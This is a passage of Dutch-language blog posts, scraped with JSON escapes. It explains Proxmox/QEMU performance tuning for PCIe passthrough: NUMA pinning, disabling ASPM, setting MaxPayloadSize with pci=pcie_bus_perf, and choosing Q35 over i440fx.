koppelen # List all PCI devices and their NUMA nodes for dev in /sys/bus/pci/devices/*; do node=$(cat \u0026#34;$dev/numa_node\u0026#34; 2\u0026gt;/dev/null) echo \u0026#34;$(basename $dev) node=$node $(lspci -s $(basename $dev) 2\u0026gt;/dev/null | cut -d\u0026#39; \u0026#39; -f2-)\u0026#34; done Dit geeft je een volledig beeld van welke apparaten op welke nodes zitten. Zoek je NVMe-controllers, netwerkkaarten en eventuele GPU\u0026rsquo;s op die je doorgeeft.\nHoe je een VM uitlijnt in Proxmox vCPU\u0026rsquo;s aan de juiste node vastzetten In het configuratiebestand van de VM (/etc/pve/qemu-server/\u0026lt;vmid\u0026gt;.conf):\nnuma: 1 affinity: 0-15 # Adjust to match cores on the correct NUMA node De parameter affinity zet de vCPU\u0026rsquo;s van de VM vast op bepaalde fysieke kernen. Zet hem op het bereik van kernen op dezelfde NUMA-node als je doorgegeven apparaat.\nZit je NVMe op node 1 en heeft node 1 de kernen 16–31, zet dan affinity: 16-31. Heeft de VM maar 8 vCPU\u0026rsquo;s nodig, zet hem dan vast op een deel daarvan: affinity: 16-23.\nGeheugen van de juiste node toewijzen numa: 1 aanzetten in de VM-config zegt Proxmox dat het de VM een NUMA-topologie moet voorschotelen. QEMU zal dan proberen het geheugen van de VM toe te wijzen uit de NUMA-node waar de vCPU\u0026rsquo;s zijn vastgezet.\nVoor uitdrukkelijke controle kun je de NUMA-topologie in de VM-config zetten:\nnuma0: cpus=0-7,hostnodes=0,memory=16384,policy=bind Dit zegt QEMU dat het de eerste NUMA-node van de VM (node 0 vanuit de gast bekeken) moet binden aan NUMA-node 0 van de host, met de kernen 0–7 en 16 GB geheugen. policy=bind zorgt ervoor dat het geheugen strikt uit die node komt, in plaats van terug te vallen op andere nodes als de lokale pool onder druk staat.\nControleer het vastzetten Kijk na het starten van de VM of de vCPU\u0026rsquo;s ook echt draaien waar je ze verwacht:\n# Find the QEMU process pgrep -a qemu | grep \u0026lt;vmid\u0026gt; # Check CPU affinity of the process taskset -cp \u0026lt;pid\u0026gt; # Or check per-vCPU thread affinity for tid in $(ls /proc/\u0026lt;pid\u0026gt;/task/); do echo \u0026#34;Thread $tid: $(taskset -cp $tid 2\u0026gt;/dev/null)\u0026#34; done Veelgemaakte fouten Helemaal niet vastzetten Zet je affinity niet, dan kunnen de vCPU\u0026rsquo;s van de VM op elke kern worden ingeplant. De planner van de kernel schuift ze tussen nodes heen en weer om de last te verdelen. Elke keer dat een vCPU van de ene node naar de andere verhuist, wordt alles waarmee hij bezig was in de cache van de oude node extern.\nVoor algemene VM\u0026rsquo;s is dat acceptabel. Voor passthrough-VM\u0026rsquo;s met zware IO niet.\nAan de verkeerde node vastzetten Kijk de NUMA-node van het apparaat na voordat je vastzet. Ga er niet van uit. Op sommige moederborden loopt de fysieke slotnummering niet op een voor de hand liggende manier gelijk met de indeling in NUMA-nodes. Controleer het altijd met cat /sys/bus/pci/devices/.../numa_node.\nEen node overboeken Zet je te veel VM\u0026rsquo;s vast op dezelfde NUMA-node, dan raken de kernen op die node overboekt en loopt de lokale geheugenpool leeg. Loopt het geheugen over naar de externe node, dan heb je het slechtste van twee werelden: vastgezette vCPU\u0026rsquo;s met extern geheugen.\nVerdeel je VM\u0026rsquo;s over de nodes. Heb je twee NUMA-nodes en vier VM\u0026rsquo;s, spreid ze dan gelijk.\nGeheugentoewijzing vergeten vCPU\u0026rsquo;s vastzetten zonder ook de geheugentoewijzing te regelen geeft je de helft van de winst. De vCPU\u0026rsquo;s staan op de juiste node, maar het geheugen misschien niet. Gebruik policy=bind, of zet op zijn minst numa: 1 aan zodat de toewijzing van QEMU het vastzetten van de CPU\u0026rsquo;s volgt.\nSystemen met één socket Op een systeem met één socket staat alles op NUMA-node 0. Er is maar één geheugencontroller en één set PCIe-lanes. NUMA-uitlijning is dan geen zorg.\nJe kunt numa: 1 nog steeds in de VM-config zetten — het doet geen kwaad — maar het helpt ook niet. Eén socket, één geheugencontroller, niets uit te lijnen. Bewaar de moeite voor een bak met twee. De winst die hier wordt beschreven geldt dan ook alleen voor systemen met meerdere sockets, waar de link tussen de sockets bestaat.\nBronnen Proxmox VE Administration Guide — CPU and NUMA Configuration — officiële documentatie over vCPU\u0026rsquo;s vastzetten en de NUMA-opties Linux kernel NUMA documentation — naslag voor het geheugenbeleid van de kernel AMD EPYC 7003 Series — BIOS \u0026amp; Workload Tuning Guide (doc 58002) — de documentatie van AMD over NUMA-per-socket en de CCD/CCX-topologie ","permalink":"https://blogs.damiendye.uk/nl/proxmox/numa-alignment-proxmox/","summary":"Op systemen met meerdere sockets verliest een VM met zijn vCPU\u0026rsquo;s op de ene NUMA-node en zijn doorgegeven apparaat op de andere 20–30% doorvoer, nog voordat je naar iets anders hebt gekeken.","title":"NUMA-uitlijning op Proxmox VE — waarom het uitmaakt en hoe je het goed doet"},{"content":"Wat ASPM doet PCIe Active State Power Management (ASPM) laat PCIe-links naar laagvermogenstoestanden gaan als ze niets te doen hebben. De PCIe-specificatie definieert een aantal linktoestanden:\nL0 is de volledig actieve toestand. De link staat, beide kanten hebben spanning, data kan er direct door.\nL0s is een lichte rusttoestand. De link gaat deels uit. Herstel naar L0 kost ongeveer 1–4 µs, afhankelijk van de hardware. Beide kanten kunnen los van elkaar naar L0s.\nL1 is een diepere rusttoestand. Beide kanten van de link gaan samen uit. Herstel naar L0 kost langer — doorgaans 2–32 µs, soms meer. De precieze hersteltijd hangt af van het apparaat, de PCIe-generatie en het platform.\nL1.1 en L1.2 zijn subtoestanden van L1, geïntroduceerd in PCIe 3.0. Ze drukken het vermogen verder terug door de PLL-klokreferentie uit te zetten. Herstel uit L1.2 kan 32–100 µs kosten. Voor een opslagapparaat is dat geen afrondingsfout. Dat is ongeveer even lang als de read die je in de eerste plaats wilde doen.\nHoe dieper de link slaapt, hoe langer de volgende IO wacht linktoestand hersteltijd terug naar L0 — de latency die een IO betaalt als hij nu aankomt L0 volledig actief — data stroomt direct geen L0s lichte rust, elk kant los van de ander 1–4 µs L1 diepe rust, beide kanten samen 2–32 µs L1.1 / L1.2 PCIe 3.0-subtoestanden — PLL-klok uit 32–100 µs Balken op schaal tegen het slechtste geval van 100 µs. Dieper slapen bespaart meer vermogen en kost meer bij het wekken. De balken zijn de hersteltijden, op schaal getekend tegen het slechtste geval van 100 µs. Dieper slapen bespaart meer vermogen en kost meer als het verkeer weer aantrekt. Het idee is rechttoe rechtaan. Ligt een PCIe-link een paar microseconden stil, zet hem dan in een lagere vermogenstoestand. Trekt het verkeer weer aan, maak hem dan wakker. Bespaar er ondertussen een beetje vermogen mee.\nOp een laptop of een desktop die het grootste deel van de tijd niets doet, bespaart ASPM echt vermogen. Een paar watt per link, opgeteld over alle PCIe-apparaten in het systeem. Op een server met IO-intensieve workloads liggen de links zelden lang genoeg stil om ASPM zinvol te laten aanslaan.\nWaarom het problemen geeft bij passthrough Op bare metal onderhandelen het besturingssysteem en de apparaatdriver het energiebeheer samen. De NVMe-driver weet wanneer de link stil komt te liggen en wanneer hij nieuwe IO gaat aanbieden. Het PCIe-subsysteem van de kernel stemt de overgangen van linktoestanden af met de driver. Alles loopt in de maat.\nOnder VFIO-passthrough valt die afstemming weg.\nDe hostkernel bestuurt nog steeds de fysieke PCIe-link. De gast-VM bezit het apparaat via VFIO, maar bestuurt de link zelf niet. Het PCIe-subsysteem van de host ziet de link stil komen te liggen — want vanuit de host bekeken gebruikt geen enkele driver aan hostkant hem. Het zet de link in een laagvermogenstoestand. Zodra de gast IO aanbiedt, heeft het apparaat de link terug nodig in L0. De hersteltijd komt naar boven als extra latency op die IO-bewerking.\nHet resultaat is wisselvallige latency. De meeste IO\u0026rsquo;s ronden op normale snelheid af. Sommige duren veel langer, omdat ze een link treffen die in L1 of L1.2 staat en eerst wakker moet worden. Dat komt naar boven als een brede spreiding in je clat-percentielen (completion latency). Het gemiddelde kan er prima uitzien. De p99 kan 5–10x hoger liggen.\nDit is moeilijk te zien, omdat de cijfers voor gemiddelde doorvoer er prima uit kunnen zien. Je ziet het probleem pas als je naar de staartlatency kijkt. Veel benchmarks lichten die niet uit tenzij je om percentieluitvoer vraagt.\nASPM laat het gemiddelde met rust en sloopt de staart ASPM aan pcie_aspm=off completion latency (µs) 0 30 60 90 120 3× slechter bij p99 — en 7× zijn eigen gemiddelde ASPM aan pcie_aspm=off p50 p90 p99 p99.9 p99.99 Het gemiddelde en p50 zijn in beide runs identiek — alleen de staart scheidt ze. De cijfers illustreren het patroon; het zijn geen metingen aan een bepaalde schijf. Dezelfde schijf met en zonder ASPM. p50 is identiek, dus een benchmark die alleen gemiddelden geeft meldt helemaal geen probleem; de schade zit voorbij p90, waar de IO\u0026rsquo;s die een slapende link troffen zich opstapelen. De VFIO-specifieke haak Er zit hier een haak aan die verder gaat dan het simpele probleem van “host en gast die vechten over de linktoestand”.\nZodra een apparaat op de host aan vfio-pci is gebonden, weet de hostkernel dat het apparaat in passthroughmodus staat. Maar het PCIe-ASPM-beleid wordt op linkniveau toegepast, niet op apparaatniveau. Het ASPM-beleid van de host geldt nog steeds voor de fysieke link, omdat de host nog steeds de PCIe-topologie bezit.\nVFIO onderschept of overstemt ASPM-overgangen niet. Het geeft de BAR-ruimte en de interrupts van het apparaat door, maar het energiebeheer van de link blijft onder de host vallen. De gast heeft geen enkel middel om tegen de host te zeggen “houd deze link in L0”.\nDe gast bezit het apparaat; de host bezit nog de link — en er is geen kanaal tussen die twee Gast-VM NVMe-driver bezit het apparaat, biedt de IO aan Hostkernel PCIe-subsysteem ASPM-beleid vfio-pci D-toestandsbeleid geen manier om te zeggen “houd deze link in L0” fysieke PCIe-link — in L1, slaapt de host beslist dit, niet de gast host ziet geen driver die hem gebruikt, dus mag de link slapen gast biedt IO aan, en verwacht L0 deze IO wacht tot de link wakker is — 2–32 µs, of tot 100 µs uit L1.2 VFIO geeft BAR-ruimte en interrupts door. Energiebeheer van de link hoort niet bij de afspraak. De meeste IO's treffen de slapende link helemaal niet, en daarom beweegt alleen de staart. De splitsing die het veroorzaakt: de gast bezit het apparaat en biedt de IO aan, de host bezit de link en bepaalt wanneer die gaat slapen, en niets verbindt die twee. Sommige nieuwere hardware en kernelversies gaan hier beter mee om dan andere. De veiligste aanpak is dan ook om ASPM helemaal buiten beeld te halen.\nHoe je het uitzet Zet pcie_aspm=off op de kernelregel van de host:\n# Edit /etc/default/grub GRUB_CMDLINE_LINUX_DEFAULT=\u0026#34;quiet pcie_aspm=off\u0026#34; # Update GRUB and reboot update-grub reboot Dit belet de host om ook maar één PCIe-link in een laagvermogenstoestand te zetten. Het geldt overal. Elk PCIe-apparaat op de host, niet alleen degene die je doorgeeft.\nControleer het na een herstart:\n# Should show \u0026#34;ASPM Disabled\u0026#34; for all devices lspci -vv | grep -i \u0026#34;ASPM\u0026#34; Wat het aan vermogen kost ASPM uitzetten verhoogt het stationaire vermogensgebruik wel. Elke PCIe-link die anders in L1 zou staan blijft in L0 en gebruikt een paar honderd milliwatt meer. Over een systeem met tien of vijftien PCIe-apparaten kan dat oplopen tot 2–5 watt in rust.\nVoor een server in een datacenter is 2–5 watt een afrondingsfout op de energierekening. Voor een homelab is het een fractie van wat de CPU en het geheugen gebruiken. Voor een laptop maakt het uit. Maar je zou geen VFIO-passthrough doen op een laptopaccu.\nDe afweging is duidelijk. Een paar watt stationair vermogen tegenover onvoorspelbare latencypieken op je doorgegeven apparaten. Op elk systeem dat passthrough doet, hoort ASPM uit te staan.\nProblemen met vermogenstoestanden op apparaatniveau ASPM bestuurt de vermogenstoestand van de PCIe-link. Apparaten hebben ook hun eigen energiebeheer — de PCIe D-toestanden (D0 tot en met D3).\nStaat een apparaat in D3 (volledig uit), dan slaapt niet alleen de link. Het apparaat zelf is gestopt. Onder VFIO-passthrough kan de vfio-pci-driver van de host het apparaat in D3 zetten als de VM niet draait, of als het energiebeheer van de host besluit dat het apparaat stil ligt.\nSommige NVMe-controllers gaan niet netjes om met de overgang van D3 naar D0. Ze komen niet schoon terug, de gast verliest het apparaat, en de enige uitweg is een herstart van de VM of soms een herstart van de host.\nDe Samsung 990 EVO Plus is een bekende zondaar. De oplossing is de module-optie disable_idle_d3 voor vfio-pci:\n# /etc/modprobe.d/vfio.conf options vfio-pci disable_idle_d3=1 Dit belet vfio-pci om een gebonden apparaat in D3 te zetten als het stil ligt. Net als pcie_aspm=off is het een instelling voor alles. Elk apparaat dat aan vfio-pci is gebonden blijft in D0. Dat is meestal wat je wil bij passthrough, waar de gast het enige zou moeten zijn dat de vermogenstoestand van het apparaat bepaalt.\nDe optie disable_idle_d3 staat los van ASPM. ASPM bestuurt de link. D3 bestuurt het apparaat. Beide kunnen los van elkaar problemen geven. Voor een schone passthroughconfiguratie zet je ze allebei uit.\nASPM per apparaat regelen Wil je ASPM niet overal uitzetten — misschien heb je andere PCIe-apparaten op de host die wél iets aan energiebesparing hebben — dan kun je ASPM per link regelen via sysfs:\n# Find the link\u0026#39;s ASPM policy cat /sys/bus/pci/devices/0000:XX:00.0/link/l1_aspm # Disable ASPM for a specific link echo 0 \u0026gt; /sys/bus/pci/devices/0000:XX:00.0/link/l1_aspm Dit is doelgerichter, maar minder betrouwbaar over herstarts en kernelupdates heen. Voor de meeste passthroughopstellingen is de kernelvlag pcie_aspm=off voor alles eenvoudiger en voorspelbaarder.\nWanneer ASPM niet het probleem is Niet elk geval van latencyjitter is ASPM.\nZijn je clat-percentielen structureel hoog (niet alleen de staart), dan is het probleem eerder overhead van IOMMU-vertaling, verkeerde NUMA-uitlijning of een MPS die niet klopt. ASPM veroorzaakt specifiek een tweetoppig patroon — de meeste IO\u0026rsquo;s zijn snel, een paar zijn langzaam — omdat het alleen de IO\u0026rsquo;s raakt die toevallig aankomen terwijl de link in een laagvermogenstoestand staat.\nKijk eerst naar ASPM als je dit ziet:\np99-latency 5x of meer hoger dan het gemiddelde Wisselvallige fio-uitkomsten tussen runs Latency die beter wordt onder aanhoudende belasting maar slechter bij hakkelige workloads Is de latency structureel slecht, wat het belastingspatroon ook is, kijk dan elders. ASPM is het waard om vroeg uit te sluiten, omdat het goedkoop te testen is. Maar het is niet het antwoord op elke langzame link, en het najagen terwijl de cijfers niet bij het patroon passen is een middag die je niet terugkrijgt.\nBronnen Linux kernel PCI documentation — ASPM parameters — kernelbron over pcie_aspm=off en verwante opties Proxmox Forum — PCI Passthrough NVMe Unable to Change Power State — draadje uit de community over disable_idle_d3 voor NVMe-controllers van Samsung Proxmox VE Wiki — PCI(e) Passthrough — officiële documentatie over het inrichten van passthrough ","permalink":"https://blogs.damiendye.uk/nl/proxmox/pcie-aspm-passthrough/","summary":"Active State Power Management bespaart een paar watt op inactieve PCIe-links. Onder VFIO-passthrough voegt het latencyjitter toe die moeilijk te diagnosticeren en makkelijk te verhelpen is.","title":"PCIe ASPM en waarom je het uit moet zetten voor passthrough"},{"content":"Wat MPS is PCIe-apparaten verplaatsen data in pakketten die Transaction Layer Packets (TLP\u0026rsquo;s) heten. Elke TLP heeft een header en een payload. De maximale grootte van die payload is de MaxPayloadSize (MPS).\nMPS wordt tijdens link training onderhandeld tussen een apparaat en de bridge erboven. De onderhandelde waarde is de kleinste van wat het apparaat kan en wat de bridge toestaat. Elke bridge en switch in het pad tussen het apparaat en het root complex heeft zijn eigen MPS-capaciteit. De uiteindelijke MPS voor een apparaat wordt bepaald door het smalste punt in de keten.\nGangbare MPS-waarden zijn 128, 256 en 512 byte. Sommige apparaten kunnen 1024 of zelfs 4096 byte, maar in de praktijk is 256 of 512 typisch voor NVMe-controllers en netwerkkaarten. GPU\u0026rsquo;s kunnen vaak 256 byte.\nWaarom het uitmaakt Een grotere MPS betekent minder pakketten voor dezelfde hoeveelheid data. Een IO van 4 KB heeft bij MPS 128 32 TLP\u0026rsquo;s nodig. Dezelfde overdracht heeft bij MPS 512 8 TLP\u0026rsquo;s nodig.\nElke TLP draagt protocoloverhead met zich mee — de header, CRC, framing. Minder TLP\u0026rsquo;s betekent minder protocoloverhead per verplaatste byte. Bij hoge doorvoer is dat verschil meetbaar. Niet dramatisch. Maar echt. En het is dezelfde overhead, betaald op elk pakket.\nMPS bepaalt ook hoe goed de PCIe-link wordt benut. Kleinere payloads betekenen dat de link meer tijd aan headers besteedt in verhouding tot data. Grotere payloads schuiven die verhouding op naar nuttige data.\nDezelfde 4 KB payload kost 32 pakketheaders bij MPS 128 en 8 bij MPS 512 MPS 128 — een overdracht van 4 KB wordt 32 TLP's 32 headers × ≈24 B —\u0026#160;≈16% van de bytes op de draad is protocoloverhead MPS 512 — dezelfde 4 KB wordt 8 TLP's 8 headers × ≈24 B —\u0026#160;≈4% van de bytes op de draad is protocoloverhead header, volgnummer, CRC en framing payload Beide stroken dragen dezelfde 4 KB. Grotere payloads verplaatsen niet meer data — ze besteden minder van de link aan het beschrijven ervan. De gemeten winst is klein. Beide stroken dragen dezelfde 4 KB. De volle balken zijn de headers per pakket — bij MPS 128 zijn er 32, bij MPS 512 maar 8. Het effect op latency is kleiner dan op doorvoer. Eén read van 4 KB bij MPS 128 tegenover 512 laat geen latencyverschil zien dat het meten waard is, want de TLP\u0026rsquo;s zijn gepijplijnd. Maar duw hoge IOPS met veel overdrachten onderweg en de kleinere overhead van een grotere MPS telt op.\nHet probleem bij passthrough Op bare metal zet de BIOS de MPS tijdens de POST, op basis van de PCIe-topologie. Een moderne serverbios zet MPS doorgaans op het maximum dat de topologie ondersteunt, meestal 256 of 512 byte.\nOnder QEMU heeft het root complex van de virtuele Q35-chipset zijn eigen MPS-capaciteit. Standaard presenteert het een lage MPS. Het standaard-MPS-beleid van de Linux-kernel (pcie_bus_default) zet de MPS van elk apparaat gelijk aan die van de bridge erboven, en in een virtuele topologie is dat de standaard van het QEMU-root complex. Vaak 128 byte.\nZo draait een apparaat dat payloads van 512 byte kan doen op 128, omdat het virtuele root complex het plafond heeft gezet.\nMPS wordt bepaald door het smalste punt in het pad, en onder QEMU is dat het virtuele root complex Bare metal — de BIOS zet MPS op basis van de echte topologie NVMekan 512 PCIe switchstaat 512 toe Root complexstaat 512 toe MPS = 512 B de kleinste in het pad Doorgegeven aan een VM — het virtuele root complex is nu het smalste punt NVMekan 512 QEMU Q35 virtueel root complex presenteert standaard 128 MPS = 128 B kunnen van apparaat ongebruikt Hostkernel met\u0026#160;pci=pcie_bus_perf NVMekan 512 elk apparaat op het maximum van de bus erboven MRRS mee omhoog MPS = 512 B op de host zetten, niet op de gast MPS is de kleinste waarde in het pad. Een apparaat doorgeven zet het virtuele root complex in dat pad, en zijn voorzichtige standaard wordt het plafond van iedereen. Hoe je het oplost — hostkant Zeg de kernel dat hij de MPS op het maximum moet zetten dat de bus boven elk apparaat ondersteunt:\n# Add to GRUB_CMDLINE_LINUX_DEFAULT in /etc/default/grub pci=pcie_bus_perf Dit zet de MPS van elk apparaat op de grootste waarde die de bus erboven toestaat. Het zet ook de MRRS (Max Read Request Size) daarop af. De kernelbron zegt dat het ervoor zorgt dat de MPS van een apparaat niet groter is dan die van zijn ouder. Dat houdt de keten consistent en levert toch de beste overdrachtsgroottes.\nControleer na een herstart de nieuwe MPS:\n# Check MPS on a specific device lspci -vv -s XX:00.0 | grep -i \u0026#34;MaxPayload\u0026#34; Je zou MaxPayload 256 bytes of MaxPayload 512 bytes moeten zien in plaats van de standaard 128.\nDe andere kernelopties De kernel biedt vier MPS-beleidsopties, elk via de bootparameter pci=:\npcie_bus_tune_off — raak de MPS helemaal niet aan. Gebruik wat de BIOS heeft gezet. Op bare metal met een goede BIOS is dat vaak prima. Onder QEMU is de BIOS OVMF of SeaBIOS, en die optimaliseren de MPS misschien niet.\npcie_bus_default — de standaard van de kernel. Zet de MPS van elk apparaat gelijk aan de bridge erboven. Voorzichtig en veilig, maar haalt niet het maximum uit de prestaties.\npcie_bus_safe — zet de MPS op de grootste waarde die alle apparaten in het systeem ondersteunen. Nuttig voor gesloten systemen waar je alle apparaten kent en er niets hotplugged wordt. Iets agressiever dan de standaard.\npcie_bus_perf — zet de MPS per apparaat op de grootste waarde die de bus erboven toestaat. Elk apparaat krijgt de beste MPS die zijn eigen topologie ondersteunt. Dit is de juiste keuze voor passthrough, omdat het elk pad los van de rest optimaliseert.\npcie_bus_peer2peer — zet de MPS op alles op 128 byte. Elk apparaat praat op de laagste gemene grootte. Wordt gebruikt als apparaten direct naar elkaar moeten DMA\u0026rsquo;en (GPU naar GPU, GPU naar NIC via RDMA). Niet nuttig voor gewone passthrough.\npcie_bus_perf is de juiste voor passthrough.\nHoe je het oplost — gastkant Je kunt pci=pcie_bus_perf ook in de bootconfiguratie van de gastkernel zetten. Of dat praktisch effect heeft, hangt af van hoe QEMU de virtuele PCIe-topologie presenteert. Het virtuele root complex begrenst wat de gast kan onderhandelen.\nIn tests is de fix aan de hostkant degene die blijft plakken. De host bezit het fysieke apparaat, en zijn MPS-instelling bepaalt de werkelijke TLP-grootte op de draad. De instelling van de gast raakt alleen de virtuele topologie binnen de VM, en of dat echt gedrag verandert, hangt af van hoe QEMU het PCIe-pad voor dat apparaat presenteert.\nZet het op de host. Het er ook in de gast bij zetten kan geen kwaad, maar vertrouw er niet alleen op.\nWat MRRS is Max Read Request Size (MRRS) hoort erbij, maar is iets anders. MPS begrenst hoeveel data een apparaat in één TLP kan versturen. MRRS begrenst hoeveel data een apparaat in één read request kan opvragen.\nEen apparaat met MRRS 4096 kan één read request van 4 KB uitgeven. Het antwoord komt terug in meerdere TLP\u0026rsquo;s, elk tot de MPS in grootte. Een hogere MRRS betekent dat het apparaat per transactie meer data kan opvragen, wat het aantal read-request-TLP\u0026rsquo;s op de bus terugbrengt.\nMRRS bepaalt de grootte van het verzoek, MPS die van elk pakket van het antwoord NVMe-controller MRRS 4096 B hostgeheugen via het root complex 1 × read request — “stuur me 4 KB” MRRS begrenst hoeveel één verzoek mag vragen 8 × completion-TLP — elk 512 B MPS begrenst hoe groot elk pakket van het antwoord mag zijn Één verzoek, veel pakketten.\u0026#160;pci=pcie_bus_perf\u0026#160;haalt beide omhoog, dus apart tunen is niet nodig. De twee zijn makkelijk te verwarren: MRRS begrenst hoeveel een apparaat in één verzoek mag vragen, MPS begrenst hoe groot elk pakket van het antwoord mag zijn. pci=pcie_bus_perf zet zowel MPS als MRRS op hun optimale waarden. Je hoeft ze niet apart te tunen.\nEffect tegenover andere tuning Het MPS-verschil tussen 128 en 512 byte heeft minder invloed op de prestaties dan NUMA-uitlijning of ASPM. Het is doorgaans een verbetering van een paar procent op de doorvoer. Je ziet het niet in latencybenchmarks bij lage queue depths.\nMaar het is een gratis optimalisatie. Eén kernelparameter, geen nadeel, geen compatibiliteitsrisico. Er is geen reden om het niet te zetten op elk systeem dat passthrough doet.\nHet kost niets, en de hardware heb je al betaald. Dan kun je net zo goed hebben waarvoor je hebt betaald.\nBronnen Linux kernel PCI Kconfig — MPS and MRRS tuning options — gezaghebbende bron voor alle vier de MPS-beleidsopties Linux Plumbers Conference 2017 — MPS vs MRRS (PDF) — de presentatie van Sinan Kaya over hoe de kernel MPS/MRRS behandelt ","permalink":"https://blogs.damiendye.uk/nl/proxmox/pcie-maxpayloadsize/","summary":"Het virtuele root complex van QEMU gebruikt standaard TLP-payloads van 128 byte. De meeste apparaten kunnen 256 of 512. Eén kernelparameter lost het op.","title":"PCIe MaxPayloadSize — gratis prestatiewinst bij passthrough"},{"content":"Wat zijn i440fx en Q35? Elke virtuele machine van QEMU heeft een virtuele chipset. Die bepaalt het hele virtuele moederbord — de PCI/PCIe-bustopologie, de south bridge, de interruptcontroller, en wat het gastbesturingssysteem ziet als het bij het opstarten de hardware inventariseert.\nQEMU biedt twee keuzes: i440fx en Q35.\ni440fx bootst de Intel 440FX na — codenaam Natoma, uitgebracht in 1996 als de chipset voor de Pentium Pro en later de Pentium II. Hij presenteert een platte PCI-bus zonder eigen PCIe-ondersteuning. Het was het oorspronkelijke machinetype van QEMU en is lang de standaard geweest. Een mooie carrière voor een chipset die voor de Pentium Pro is ontworpen.\nQ35 bootst de Intel Q35 Express na, uitgebracht in juni 2007 voor de Core 2-generatie, gekoppeld aan de ICH9 south bridge. Hij geeft de gast een echt PCIe-root complex en een moderne interruptcontroller. Doorgegeven apparaten komen binnen als echte PCIe-apparaten met de juiste topologie.\nBeide zijn virtueel. Geen van beide raakt de werkelijke hardware die de host gebruikt. Het verschil zit in wat het gastbesturingssysteem ziet.\nDe platte PCI-bus van i440fx tegenover het PCIe-root complex van Q35 i440fx — één platte PCI-bus Intel 440FX “Natoma” — Pentium Pro / Pentium II, 1996 vCPU PCI bus 0 NVMeals oude PCI NIC alleen INTx IDE oud Audionep MSI-X niet beschikbaar — alleen INTx-interrupts Geen AER — PCIe-fouten onzichtbaar voor de gast Geen ACS — zwakkere IOMMU-isolatie Één gedeelde bus — één IOMMU-groep Q35 — PCIe root complex Intel Q35 Express + ICH9 — Core 2-tijdperk, juni 2007 vCPU PCIe root complex root port root port root port NVMeMSI-X NIC multi-queue GPU AER + ACS MSI-X — één interruptvector per queue AER — gast ziet en verwerkt PCIe-fouten ACS — DMA tussen apparaten geregeld Elk slot kan zijn eigen IOMMU-groep hebben Elk verschil dat volgt komt hieruit: i440fx hangt elk apparaat aan één gedeelde bus, terwijl Q35 elk slot zijn eigen root port geeft onder een PCIe-root complex. Waarom Q35 uitmaakt voor passthrough Apparaten die je aan een i440fx-VM doorgeeft komen binnen als oude PCI-apparaten, wat ze in werkelijkheid ook zijn. De gast ziet ze als “heel snelle PCI-apparaten” in plaats van als PCIe-apparaten. Sommige drivers gaan daar prima mee om. Andere verwachten PCIe en doen het verkeerd, of weigeren te laden als ze het niet vinden.\nHet PCIe-root complex van Q35 verandert het beeld op een aantal punten.\nMSI-X MSI-X (Message Signalled Interrupts — Extended) vereist PCIe. Onder i440fx valt MSI-X terug op oude INTx-interrupts, of het werkt helemaal niet.\nDat maakt veel uit voor NVMe. NVMe-controllers leunen op MSI-X voor hun architectuur met meerdere queues. Elk IO-queuepaar krijgt zijn eigen interruptvector. Zonder MSI-X gaan alle IO-afrondingen door één interrupt heen, en dat wordt een knelpunt bij hoge IOPS.\nHet maakt ook uit voor moderne netwerkkaarten en GPU\u0026rsquo;s. Elk apparaat dat meerdere interruptvectoren gebruikt om de last over CPU-kernen te spreiden heeft MSI-X nodig.\nINTx duwt elke NVMe-afronding door één interrupt; MSI-X geeft elke queue zijn eigen vector i440fx — INTx: één lijn voor elke queue queue 0 queue 1 queue 2 queue 3 1 × INTx vCPU 0 afrondingen serialiseren — een plafond bij hoge IOPS Q35 — MSI-X: een vector per queue queue 0 queue 1 queue 2 queue 3 4 × MSI-X-vectoren vCPU 0 vCPU 1 vCPU 2 vCPU 3 elke queue rondt af op zijn eigen kern Met INTx komen de afrondingen van elke queue op één interruptlijn binnen en landen ze op één vCPU. Met MSI-X draagt elke queue zijn eigen vector en rondt hij af op zijn eigen kern. AER (Advanced Error Reporting) Met PCIe AER kan de gast apparaatfouten netjes opmerken en verwerken, in plaats van stil te falen. Onder i440fx heeft de gast geen zicht op fouten op PCIe-niveau.\nVoor een productieworkload met een doorgegeven apparaat is stil weggeslikte fouten een probleem. AER geeft de driver in de gast de mogelijkheid om hardwarefouten te loggen, te melden en soms te herstellen — fouten die anders onopgemerkt blijven tot er data verminkt is.\nACS (Access Control Services) ACS regelt DMA tussen apparaten onderling op dezelfde bus. Het hoort bij het isolatiemodel van de IOMMU. Het belet dat het ene apparaat in de geheugenruimte van het andere DMA\u0026rsquo;t zonder langs de IOMMU te gaan.\nOnder i440fx ondersteunt de virtuele bustopologie ACS helemaal niet. Dat maakt eenvoudige passthrough niet stuk, maar het verzwakt wel de isolatie die de IOMMU je hoort te geven.\nHoe IOMMU-groepen worden gepresenteerd Door de PCIe-hiërarchie van Q35 kan elk virtueel slot in zijn eigen IOMMU-groep binnen de gast zitten. i440fx gooit alles op één gedeelde bus, en dat maakt het inrichten van een IOMMU aan gastkant lastig.\nDat is van belang bij geneste virtualisatie, waar de gast zelf schone IOMMU-groepen nodig heeft. Het is ook van belang voor vIOMMU, dat alleen op Q35 beschikbaar is.\nvIOMMU Heb je nodig dat de gast zelf IOMMU-mogelijkheden heeft — voor geneste passthrough, voor DPDK, of voor bepaalde beveiligingsopstellingen — dan vereist dat het machinetype Q35.\nMet vIOMMU-emulatie kan de gast zijn eigen IOMMU draaien, wat nuttig is voor:\nGeneste VM-passthrough (een VM binnen een VM met toegang tot apparaten) DPDK-netwerken in userspace, waar de applicatie IOMMU-bescherming nodig heeft Beveiligingsopstellingen die DMA-isolatie binnen de gast vragen Waarom Q35 uitmaakt buiten passthrough Ook als je geen passthrough doet, is Q35 de betere keuze voor moderne workloads.\nOVMF-firmware (UEFI) De combinatie van Q35 en OVMF geeft de gast een moderne UEFI-opstartomgeving met ondersteuning voor Secure Boot. i440fx kan OVMF gebruiken, maar die combinatie is minder goed getest en sommige functies werken niet goed.\nWindows 11 vereist UEFI met Secure Boot. De hardware-eisen van Microsoft schrijven het voor. Windows Server 2025 werkt het beste met UEFI. Q35 met OVMF is voor beide het ondersteunde pad.\nDraai je een VM met Windows 11 of Server 2025 op i440fx met SeaBIOS, dan vecht je tegen de stroom in. Het werkt vandaag misschien. Het is niet waar het ecosysteem naartoe gaat.\nAHCI Q35 bevat eigen AHCI-emulatie (Advanced Host Controller Interface) via de ICH9 south bridge. i440fx gebruikt de oudere IDE- of LSI SCSI-emulatie voor opstartschijven.\nVoor VirtIO-opslag maakt dat niet uit. VirtIO gaat volledig om de opslagcontroller van de chipset heen. Maar gebruik je SATA-emulatie voor een gastbesturingssysteem dat bij de installatie nog geen VirtIO-drivers heeft, dan is AHCI op Q35 veel sneller dan IDE op i440fx.\nIDE onderschept elke registertoegang; AHCI bouwt 